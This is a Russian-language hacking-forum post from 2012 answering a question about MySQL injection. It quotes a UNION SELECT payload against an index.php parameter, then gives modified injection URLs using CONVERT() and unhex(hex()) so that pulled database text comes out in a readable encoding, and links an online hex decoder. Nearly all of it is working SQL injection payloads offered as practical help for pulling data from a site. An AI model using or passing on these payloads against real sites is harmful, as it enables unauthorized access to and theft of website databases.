Показать сообщение отдельно

  #5  
Старый 06.12.2012, 02:09
Unknown
Guest
Сообщений: n/a
Провел на форуме:
28262

Репутация: 23
По умолчанию

Цитата:
Сообщение от kise  
kise said:
Возможно задам довольно глупый вопрос, но как мне вывести запрос из mysql inj в нужной мне кодировке ?
К примеру есть запрос:
GET /index.php?sth=999999.9+union+all+select+text,2,3+f rom+art--
При этом вывод из бд в кодировке UTF-8, а кодировка сайта WINDOWS-1251 (cp1251). Как мне сделать так, чтобы вывод был в кодировке cp1251 ?
Вообще(вроде), это можно сделать так:
SET NAMES cp1251
SET CHARACTER SET cp1251
Но как мне все это объединить в один запрос ?
Здесь два варианта, либо юзать cast() или CONVERT(),либо шифровать и дешифровать данные, типа: unhex(hex(version())), в вашем случаи, это будет выглядеть так:

/index.php?sth=999999.9+union+all+select+CONVERT(te xt+using+latin1),2,3+from+art--, либо же:

/index.php?sth=999999.9+union+all+select+unhex(hex( text)),2,3+from+art--, и потом воспользоваться например: http://www.string-functions.com/hex-string.aspx для расшифровки полученного результата
 
Ответить с цитированием